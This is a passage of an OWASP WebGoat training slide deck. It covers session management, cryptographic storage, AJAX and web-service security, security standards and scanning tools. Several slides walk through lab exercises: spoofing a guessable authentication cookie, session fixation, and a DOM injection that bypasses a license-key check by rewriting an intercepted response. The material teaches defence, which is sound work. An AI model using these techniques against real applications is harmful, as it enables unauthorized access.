Page 66: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Authentication Checks• From http://www.owasp.org/index.php/Top_10_2007

“Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.”

• Never store passwords in plaintext– Encrypt or Hash (preferred)

• Architect applications to check every request to see that the authentication data is still valid

• Issue a new session token when the user authenticates• If you absolutely must use “remember me” functionality, use

a difficult to guess authentication cookie• Authentication data is sent with every request, so protect it

Page 67: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Session Management Flaws

• Spoof an Authentication Cookie• The default webscarab should work however, if it doesn’t,

go to WebScarab->Tools and click on the checkbox “Use Full Featured Interface” and restart WebScarab using “Start - > Run” command to obtain the tabs in the Solutions and fiddle with the cookie injection. After you restart WebScarab, go to the Proxy tab and then Miscellaneous to UNCHECK the “Inject know cookies into requests” checkbox.

• Realize that the “secret” cookie is simply the account name spelled backwards and then each letter replaced by the next letter in the alphabet. This is not a good secret since it is relatively easy to guess.

Page 68: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Hardening Authentication• Every request to each page of a web application should

be revalidated for proper authenticated and authorized access

• Check validity of authentication cookie on each request. Validate original IP address is the same as current request IP and age since created or last checked. Deny access if not.

• Check that the authenticated user is authorized to access your application (using internal database of users, LDAP, authorization service, etc) on each request

Page 69: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Session Management Flaws

• Session Fixation - The hacker predicts a valid session key (usually via phishing)

• Make sure to use “Jane” – capitalizing J. Lower case won’t work.

• Change the NOVALIDSESSION in the URL to the sessionid using the Browser Address bar instead of WebScarab.

• Session Hijacking - The hacker masquerades as another user by stealing the users session id (usually via XSS)

• (Great demo, not covered in this session)

Page 70: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Solution• Use built in session management!

– Most application servers do a pretty good job of this

• Use secure randomly generated session keys to make prediction impossible– Don’t expose the user to session ids if possible

• Use reasonable session timeouts

Page 71: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 72: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Insecure Cryptographic Storage• From http://www.owasp.org/index.php/Top_10_2007 :

“Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.”

• Use latest standard encryption methods– They are standards for a reason! And they change over time

• Use strong standard encryption methods– Stop using Message-Digest Algorithm 5 (MD5), Secure Hash

Algorithm (SHA1), Data Encryption Standard (DES)– Use SHA-256, Advanced Encryption Standard (AES),

Rivest/Shamir/Adleman Public Key Encryption (RSA)

• Encrypt stored passwords with above methods

Page 73: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics

• Essentials of a Comprehensive Web Security Program

• Tools

Page 74: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Additional Topics

• Concurrency Problems

• Web Service Security

• AJAX Security

Page 75: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Concurrency: Thread Safety

• Web applications are by nature multithreaded

• Access to unsynchronized shared resources can cause unexpected results

• Use automated tools such as JMeter to reliably test

• Reference on Java Web Application Thread Safety

Page 76: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Impacts of Threading Problems

• One user’s information can be displayed to another user– Or even worse, one user’s information gets stored as

another user’s

• Can cause unexpected application behavior

• WebGoat Concurrency - Thread Safety Problems – skip for now but good demonstration of impact

Page 77: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Solutions• Every thread gets its own copies of local

variables– Does not apply to fields (or static variables)

• Use immutable objects whenever possible– Immutable objects cannot be changed

• Use synchronized access objects– E.g. Java: Hashtable, Vector, etc– Vs HashMap, ArrayList, etc

Page 78: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Additional Topics

• Concurrency Problems• Web Service Security• AJAX Security

Page 79: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Web Services• Web Services allow multiple applications to

interface remotely– Promotes interoperability

• We will focus on two types:– REST: REpresentational State Transfer– SOAP: Simple Object Access Protocol

• Testing can be challenging

Page 80: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

REST• Uses existing HTTP structure

• Guidelines:– Must use SSL to protect the messages

– Use hashes to verify integrity

• Advantages:– No dependencies for security; uses built in

infrastructure

– Encryption is done at the network layer

Page 81: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

SOAP• SOAP security benefits from being heavily

standardized when compared to other technologies– Many WS-* (Web Services-*) SOAP Standards– Interoperability is a high priority

• WS-Security– Includes authentication, Kerberos, X.509, SAML, XML encryption and

digital signatures– Protects the privacy and integrity of your messages respectively

• Provides end-to-end security at the Application Layer or the Network Layer– Message contents can be selectively encrypted or the entire message

can be encrypted by SSL

Page 82: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Web Services

• Create a SOAP Request – Use URL

http://localhost/WebGoat/services/SoapRequest?WSDL

• WSDL Scanning

Page 83: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

SOAP Security Recommendations• Always validate input (yes, again)

– Input from a web service call is just as susceptible to malicious input

• Use libraries for common actions (Don’t re-invent the wheel)– Authentication, Digital Signatures, Encryption, Timestamps,

Sessions, Reliability, etc

• Secure your Web Service Definition Language WSDL– Your WSDL leaks the interface to your web services

• Defend against XDoS (XML Denial-of-service)– DO NOT use Document Type Definition DTDs* – vulnerable to

infinite recursion, use XML schemas instead– Throttle incoming messages

From Security Concepts, Challenges, and Design Considerations for Web Services Integration

Page 84: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Additional Topics

• Concurrency Problems• Web Service Security• AJAX Security

Page 85: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

AJAX Security

• Cutting edge in terms of web interfaces and security practices

• Susceptible to “shortcut” issues related to inexperienced developers

• Difficult!

• Easily overused when traditional methods are not only safer, but functional

Page 86: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

AJAX Request Lifecycle

XmlHTTPRequest

Response (text, JSON, XML, etc)

There is nothing special about an XmlHTTPRequest other than its

asynchronicity

Page 87: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Potential Issues With AJAX

• Responses are sent to the browser, JavaScript code updates the page

• Be careful what you send back– Do not leak information

• Do NOT trust values that were fed via AJAX

• Update code is CLIENT side– The user can see the code being executed– Can take advantage of code more easily

Page 88: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Ajax Security

JSON Injection• Use WebScarab to intercept the response. Reset the

prices. Submit.

DOM Injection• First, try to type in ‘a’ into the key and see that the

response is “Wrong license key” and the “Activate” button is dimmed.

• Use Browser “View Source” and look for the XMLHttpRequest function. Understand how Ajax works. The scripts exects eval(message) to evaluate the response. The document.forms[0].SUBMIT.disabled=false; command replaces the returned message with simply the new HTML with the activated license key submit button, allowing the user to obtain whatever the license key allows.

Page 89: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Ajax Security cont.<script>function validate() {var keyField = document.getElementById('key');var url = 'attack?Screen=63&menu=400&from=ajax&key=' +

encodeURIComponent(keyField.value);if (typeof XMLHttpRequest != 'undefined') {req = new XMLHttpRequest();} else if (window.ActiveXObject) {req = new ActiveXObject('Microsoft.XMLHTTP'); } req.open('GET', url, true); req.onreadystatechange = callback; req.send(null);}function callback() { if (req.readyState == 4) { if (req.status == 200) { var message = req.responseText; var result = req.responseXML.getElementsByTagName('reward'); var messageDiv = document.getElementById('MessageDiv'); try { eval(message); messageDiv.innerHTML = 'Correct licence Key.' } catch(err) { messageDiv.innerHTML = 'Wrong license key.'} }}}</script>

•You only need to enable intercepting the Response in WebScarab.•Delete everything in the first response and replace the entire body of the first response (with GET URL from=ajax&key=a ) with the document.forms[0].SUBMIT.disabled=false;•Uncheck “Edit Response” in WebScarab.•You will see the “Activate” button enabled. Click it to finish exercise.

Page 90: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Tips

• Do NOT overuse AJAX

• Do processing on the server side if possible– Send raw html back to the client

• Do not return more information than is necessary to complete the request

• Always validate your input!

Page 91: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

JavaScript Hijacking

• Attack vector mostly specific to AJAX• XSS + CSRF = JavaScript Hijacking• Exploits JavaScript’s flexibility

– You are free to override ANYthing in JavaScript including the base object constructor!

– Exploits your trust in the “same-origin policy”

Fortify's White Paper

Page 92: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Same-Origin Policy

• From Wikipedia: It prevents a document or script loaded from one "origin" from getting or setting properties of a document from a different "origin".

• Can be bypassed using the <script> tag to retrieve JSON

Page 93: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics

• Essentials of a Comprehensive Web Security Program

• Tools

Page 94: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Essentials of a Comprehensive Web Security Program – 33 Principles

National Institute of Standards and Technology (NIST) Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security• Security Foundation

– Establish a sound security policy as the “foundation” for design– Treat security as an integral part of the overall system design. – Delineate the physical and logical security boundaries governed by

associated security policies– Train developers on secure software

• Risk Based– Reduce risk to an acceptable level– Assume external systems are insecure– Identify potential trade-offs between reducing risk and increased

costs and decrease in other aspects of operational effectiveness– Implement tailored system security measures to meet goals – Protect information while processed, in transit, and in storage.– Consider custom products to achieve adequate security– Protect against all likely classes of “attacks”

*

Page 95: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

33 Principles - Continued• Ease of Use

– Use open security standards for portability and interoperability– Use common language in developing security requirements. – Design security to allow for regular adoption of new technology.– Strive for operational ease of use.

• Increase Resilience – Implement layered security (no single point of vulnerability).– Design and operate an IT system to limit damage - be resilient – Assure system is continually resilient to expected threats– Limit or contain vulnerabilities. – Isolate public access systems from mission critical resources – Use boundary mechanisms to separate computing systems and

network infrastructures. – Design and implement audit mechanisms to detect unauthorized use

and for incident investigations. – Develop and exercise contingency / disaster recovery procedures

Page 96: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

33 Principles - Continued• Reduce Vulnerabilities

– Strive for simplicity– Minimize the system elements to be trusted– Implement least privilege – Do not implement unnecessary security mechanisms. – Ensure proper security in the shutdown or disposal of a system– Identify and prevent common errors and vulnerabilities

• Design with Network in mind– Implement security through a combination of measures distributed

physically and logically– Formulate security measures to address multiple overlapping

information domains– Authenticate users and processes to ensure appropriate access

control decisions– Principle 33. Use unique identities to ensure accountability

Page 97: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

ISO 27001:2005

ISO 27001:2005 The International Organization for Standardization (ISO) is the world’s largest developer of standards. ISO 27001 consists of short security control statements.

– It helps identify, manage and quantify threats and creates

a level playing field that can be applied worldwide. – Benchmarking against it can be a useful indicator of core

security controls and practices.

Page 98: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

ISO 27001 Control examples• acceptable use and control

of databases• control of network system

user access rights• locks on doors (types of)• equipment location• cabling security• Email policy and

enforcement• capacity planning• information back-up• network security • business continuity plans• contracts of employment

• third party agreements• electronic commerce• privacy of personal

information• information leakage, publicly

available information• controls against malicious

code• fault and security event

logging• input and output data

validation• user authentication for

external connections etc.

Page 99: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

PCI DSS

• The Payment Card Industry Data Security Standards (PCI DSS) is a security standard to protect customer credit card data.– Includes requirements for security management, policies,

procedures, network architecture, and software design. – Developed by the PCI Security Standards Council, including

American Express, Discover Financial Services, JCB International, MasterCard Worldwide and Visa Inc. International.

– Facilitates the broad adoption of consistent data security measures globally.

– Compliance is required if credit cards are processed – fined otherwise.

Page 100: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

PCI DSS – Self-Assessment Questionnaire D and Attestation of Compliance – 27 pages! https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

• Section 6.5(a) Are all web applications developed based on secure coding guidelines such as the Open Web Application Security Project guidelines?

• Section 6.5(b) Is custom application code reviewed for code vulnerabilities?

• Section 6.5(c) Is prevention of common coding vulnerabilities covered in software development processes, including the following?– Unvalidated input, broken access control, broken authentication and session

management, cross-site scripting attacks, buffer overflows, injection flaws, improper error handling?

• Section 6.6 – Are all web-facing applications protected by applying either of:– Having all custom application code reviewed for common vulnerabilities by an

organization that specializes in application security– Installing an application layer firewall in front of web-facing applications

Page 101: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Adoption of a Standard

Which standards are best?

• ISO and NIST are expensive to implement comprehensively

• PCI is relatively short, extremely detailed and comprehensive

Think about applying PCI DSS to non-credit card taking Web environment. We are…

Page 102: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

NIST: Security Considerations in the Information System Development Life Cycle

Initiation Acquisition/

Development

Implementation Operations/

Maintenance

Disposition

SD

LC

| Secu

rity Co

nsid

eration

s

-Linkage of Need to Mission and Performance Objectives

-Assessment of Alternatives to Capital Assets

-Preparing for investment and budgeting

________________

-Security Categorization

-Preliminary Risk Assessment

-Functional Need Doc.

-Market Research

-Feasibility Study

-Requirements Analysis

-Alternatives Analysis

-Cost-Benefit Analysis

-Risk Management

-Acquisition Planning

__________________

-Risk Assessment

-Security Functional Requirements Analysis

-Security Assurance Requirements Analysis

-Cost considerations

-Security Planning

-Security Control Development

- Security Test and Evaluation

-Installation

-Inspection

-Acceptance testing

-Initial user training

-Documentation

____________________

-Inspection and Acceptance

-System Integration

-Security Certification

-Security Accreditation

-Performance measurement

-Contract modifications

-Operations Maintenance

________________

-Configuration Management and Control –Continuous monitoring

-Appropriateness of disposal

-Exchange and sale

-Internal organization screening

-Transfer and donation

-Contract closeout _______________

-Information Preservation

-Media Sanitization

-Hardware and Software Disposal

http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

Page 103: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Integrating Security into SDLC:Requirements

• Identify security requirements at requirements gathering phase in product acquisition or development

• Examples of questions to ask and put into template- Any personal or confidential data?- Compliance requirements – PCI, SB1386, FERPA, HIPAA?- If 24/7 uptime is required with clustering and load balancing,

think about logging requirements…- do logs need to be centralized? easily audited for forensics

analysis?- Retention period? Tamper-proof?

- Risk assessment – normal or high risk application?

• Per requirements, configure systems and applications, from day one, with the most secure configuration your business functionality allows

Page 104: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Our Requirements Template1.1     User Classes and Characteristics

<Identify the various user classes that you anticipate will use this product (i.e. users doing updating vs. users with browse access only). User classes may be differentiated based on frequency of use, subset of product functions used, technical expertise, security or privilege levels, educational level, or experience...>

2.5     Design and Implementation Constraints<Describe any items or issues that will limit the options available to the developers. These might include: …corporate or regulatory policies; …interfaces to other applications; specific technologies, tools, and databases to be used; …communications protocols; security considerations.>

3.4     Communications Interfaces<Describe the requirements associated with any communications functions required by this product, including e-mail, web browser, network server communications protocols, electronic forms, and so on. Identify any communication standards that will be used, such as FTP or HTTP. Specify any communication security or encryption issues, data transfer rates, and synchronization mechanisms.>

5.3     Security Requirements<Specify any privacy issues surrounding use of the product or protection of the data used or created by the product. Define any user identity authentication requirements. Refer to any external policies or regulations containing security issues that affect the product. Define any security or privacy certifications that must be satisfied.>

Page 105: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Requirements Document Format

• Design and format your Requirements Documents to facilitate testing.

• Example:– System Feature 1.1.a – Session times out after 15

minutes of idle time. – System Feature 1.1.b – Upon session timeout, data

erased from memory and temporary tables.

Page 106: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Integrating Security into SDLC : Implementation / Acquisition

• Make security “routine”• Schedule web/network & configuration vulnerability

scanning on any new server – even for development • Require reviews of all security and database code from line 1

– Automate nightly static and dynamic code scanning tools• Require developers to build unit test harnesses – discipline! • Require developers to reuse tested security components

– Single-signon, authorization API, user identity objects, logging API• Schedule regular web application penetration testing day 1

• De-identify or falsify confidential test data• Write and use manual security test procedures• Perform concurrency, load, and stress testing • Detect design flaws early – more expensive to fix later

Page 107: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Application Logging Design• Prepare for that Forensics Audit. Design applications for it. • Train developers on application logging standards and tools• Define appropriate logging levels (WARN, INFO, DEBUG,

FATAL, INTRUDER_ALERT…)• Store and archive logs in a central and secure location such

that only administrators can view and no one can alter them• Examples:

– Web access logs that include time, IP, URL– Authentication/authorization logs that include time, IP, user, auth

result– Database audit logs of access to sensitive data including time, user,

SQL statement/object– Logs of critical application-specific activity

Page 108: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Code Review – a Process• Manual Code Review should at least focus on http://

www.owasp.org/index.php/Code_Review_Processes : – Authorization – Access Control – Input Validation – Error Handling – Session Management – Form Keys or Frequent Session Rotation (for CSRF defense) – Proper Application Logging – Database access and updates, data encryption

• Use Automated Tools – pay attention to false negatives and false positives. Not replacement for manual code reviews.

• Metrics http://www.owasp.org/index.php/Code_review_Metrics– defect density, lines of code, function points– Cyclomatic complexity counts decision points (if/else/switch/case)

• 1 - 10: Stable code. Acceptable complexity • 11 - 15: Medium Risk. More complex • 16 - 20: High Risk code. Too many decisions for a unit of code. Needs

re-design and re-write.

Page 109: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Storing sensitive data

• De-identify or store parts of confidential data – try last 4 digits of SSN + date of birth for identity

• Encrypt table records and/or files that contain: –password, SSN, home phone/address, credit card, bank account,

Driver's License, non-public student or employee data, or FERPA blocked student data

• Encrypt storage at database/file and application layer–Database encryption is not enough! Protects from lost/stolen disk or

backup, not from SQL-Injection hack attack –Multi-layer encryption protection - User account breach won’t allow

decryption –Confirm your database encrypts transaction logs if the database is

encrypted!

Page 110: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Data Modelling for SecurityWhen designing database tables…

–Do not use confidential data elements as keys in tables (e.g. SSN). Primary key can’t change.

• Using it as a foreign key copies that confidential data all over the database!

–Normalize to consolidate confidential data into a single table

• Audit ONE table / ONE column, not many• Encrypt ONE table / ONE column, not many• Mock intruder alert drills and prepare!• Review logs for forensics capability

Page 111: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Integrating Security into SDLC : Deployment

• Create secured development, test & production environments– Required for Payment Credit Card Industry DSS compliance

• Cross train Help Desk, Sys Admin, support staff • “Market” Application security risks and policy

– Consider policy to disallow confidential data on laptops or other portable devices

– Think about how printers will be used. Cut & Paste?

• Professionally administered system and data backups?– backups identify compromised individuals

– Off-site backups? Where? At home?

• Disaster recovery plans?• Security / Production Release Checkoff? SDLC Approvals?

Page 112: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Integrating Security into SDLC : Operations/Maintenance

• Catalogue and inventory use of personal data• Continue “routine” security reviews, access audits,

password changes• Review / monitor logs – we do this on a daily basis• Continue vulnerability scanning• Apply timely security patches at all architectural layers

– OS, Firewall, Database, Platform

• Change control– Weekly meeting for all developers and administrators– 2 week notice and test plan required of all turnovers/change – Coordinate and schedule changes in network, database,

applications, OS, firewalls and configurations. Reduce collisions.– Use a campus Calendar to publish schedule. – Changes recorded in Issue Tracking system or ServiceDesk– Fewer “emergency” changes means fewer security vulnerabilities

Page 113: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Integrating Security into SDLC: Decommissioning

• Data– Retention/preservation compliance?

• Properly dispose hardware and software– Does data retention period collide with a software end-of-life?

Clipper/DOS 6.2?– Can OS and hardware run application today if necessary to

restore data? Is data warehousing required?– Sanitize media professionally – degauss, shred. Deal with

backups

• Update catalogue of personal data again!

Page 114: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics

• Essentials of a Comprehensive Web Security Program

• Tools

Page 115: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Good Tool Listings

• OWASP– http://www.owasp.org/index.php/Phoenix/Tools

• NIST – https://samate.nist.gov/index.php/Tools – https://samate.nist.gov/index.php/Web_Application_Vulnerability

_Scanners

• Insecure.org– http://sectools.org/

Page 116: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Development / Debug / QA Tools• Unit Testing – JUnit * for Java Whitebox Testing (Eclipse*)• Nightly Automated Code Scanning – static and dynamic

– JTest – dynamic and static code analysis– OWASP’s Code Crawler *

• Load/Stress Testing JMeter * - test 1000s virtual user load

• Issue Tracking – JIRA* • Code versioning – CVS*, Subversion* • Firefox Extensions for Web Application debugging

– Firebug*, Web Developers Toolbar*

• Tools for analyzing, intercepting and modifying HTTP data between web server and client, cookies and form fields

– OWASP’s WebScarab* , Tamper Data*, Add N Edit Cookies*

*Free

Page 117: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Open Source Reusable Security Components (a few)

• OWASP– CSRFGuard Project– Code Snippet

• Internet2– Shibboleth – Web Single SignOn (SSO) across or within

organizational boundaries. – Grouper - consolidates delegated manual management of groups

and membership. – Signet – authorization system

• JA-SIG– Central Authentication Service (CAS) - an enterprise Web

single sign on service.

Page 118: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Web Application Vulnerability Scanning Tools – Open Source / Free

• Nikto - an open source (GPL) web server scanner testing web servers for multiple vulnerabilities, including over 3200 potentially dangerous files/CGIs.

• Paros proxy - A Java based web proxy. Supports editing/viewing HTTP/HTTPS messages to change cookies and form fields. Includes a web traffic recorder, web spider, hash calculator, and a scanner for testing common web application attacks such as SQL injection and cross-site scripting.

• Grendel Scan – Java based• Pantera Web Assessment Project – Python based• Spike Proxy – Python based• Wapati - Database Injection (PHP/JSP/ASP ), LDAP Injection• BurpSuite

Page 119: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Web Application Vulnerability Scanning Tools – Commercial

• Acunetix Web Vulnerability Scanner - checks web applications for vulnerabilities such as SQL Injection, cross site scripting, and weak password strength on authentication pages.

• HP WebInspect - checks that a Web server is configured properly, and attempts common web attacks such as parameter injection, cross-site

scripting, directory traversal. • NTObjectives NTOSpider• Cenzic's Hailstorm• N-Stalker - has a free edition tool based on N-Stealth

• Parasoft's WebKing – has a lot of functionality

• MileSCAN – has many types of scanners

• IBM Software - Rational AppScan – provides remediation capabilities; task lists necessary to fix vulnerabilities

Page 120: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

System Administrator Tools• VPN with virus / rootkit / key logger scanning• Two factor authentication - (we use RSA SecurID )• Intrusion Detection Systems

– TripWire– OSSEC*

• Log Analysis and Management– Splunk *– Syslog-ng*

• Unix Security Checklist - http://www.cert.org/tech_tips/usc20_full.html

• Microsoft Checklist: – Securing Your Web Server -

http://msdn.microsoft.com/en-us/library/aa302351.aspx – Securing Your Database Server -

http://msdn.microsoft.com/en-us/library/aa302337.aspx

*Free

Page 121: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Database Scanning and Hardening Tools

• Microsoft Baseline Security Analyzer (MBSA)*

• Imperva's Scuba*- a multi-platform free Java utility that scans Oracle, DB2, MS-SQL, and Sybase databases for vulnerabilities and configuration flaws. Creates remediation reports with detailed test descriptions. Example report from our Credit Card Processing SQL Server:

– (high) xp_cmdshell not removed: this procedure allows issuing operating system commands directly to the command shell

– GRANT given on registry stored procedure: Permissions are granted on stored procedures that allow reading and writing sensitive data from Windows registry

– Web Application Security is ALL ABOUT THE LAYERS!*Free

Page 122: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Network Vulnerability Scanning Tools• Wikto - Web Server Assessment Tool for MS .NET

• Nessus – not “free” anymore. Plugins for network, OS/system, Web

server, Firewall, and database vulnerabilities and bugs. • Retina - multi-platform vulnerability management, identifies known and

zero day vulnerabilities and risk assessment • Core Security Technologies – network and application testing

• IBM - Internet Scanner – network vulnerability scanner

• Sara : Security Auditor’s Research Assistant; old SATAN tool

• Foundstone – many testing tools, some free - SiteDigger

• MS Baseline Security Analyzer* – scans servers specific to

Microsoft security recommendations; offers remediation guidance • SAINT – general vulnerability scanner

Page 123: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Web Application Firewalls• XSS, Injection Protection and beyond…

– Apache Web Application Firewall mod_security * - http://www.modsecurity.org/

– IIS • URLScan / IISLockDown * • Aqtronix WebKnight*: http://www.aqtronix.com/?PageID=99

• Hardware Appliance vs Software solutions– Hardware: Fast and Expensive

• Vendors: Citrix, Imperva, many more– Software: Cheap(er) and Slow(er)

• An Application Firewall is NOT a substitute for properly coding applications to protect themselves and the data they touch!

Page 124: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Remember our Puzzle?"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne

